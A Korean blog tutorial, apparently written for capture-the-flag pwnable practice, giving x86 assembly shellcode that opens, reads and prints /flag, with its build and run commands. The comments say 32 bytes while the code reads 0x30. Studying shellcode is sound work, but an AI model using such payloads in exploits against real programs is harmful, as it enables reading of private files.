쉘코딩 하는 여러 방법 소개 시리즈 (3)
쉘코드 작성 후 바이너리로 만들고 실행할 때
/flag 읽는 쉘코드
// shellcode.S
#include <sys/syscall.h>
.intel_syntax noprefix
.global _start
.text
_start:
    /* open(file='/flag', oflag=0, mode=0) */
    /* push '/flag\x00' */
    push 0x67
    push 0x616c662f
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    /* call open() */
    push SYS_open /* 5 */
    pop eax
    int 0x80
    /* read(fd='eax', buf='esp', nbytes=32) */
    mov ebx, eax
    mov ecx, esp
    push 0x30
    pop edx
    /* call read() */
    push 3 /* 3 */
    pop eax
    int 0x80
    
    /* write(fd=1, buf='esp', n=32) */
    push 1
    pop ebx
    mov ecx, esp
    push 0x30
    pop edx
    /* call write() */
    push SYS_write /* 4 */
    pop eax
    int 0x80빌드 (x86)
gcc -c -o shellcode.o shellcode.S -m32
ld -m elf_i386 -o shellcode shellcode.o실행
./shellcode'pwnable > Shellcoding' 카테고리의 다른 글
| 쉘코딩 (shellcoding) - (2) (0) | 2022.03.25 | 
|---|---|
| 쉘코딩 (shellcoding) - (1) (0) | 2022.03.25 | 
| 쉘코드 만들기 (asm 코딩) (0) | 2018.12.23 | 
| 쉘코드 만들기 (직접) (0) | 2018.12.23 |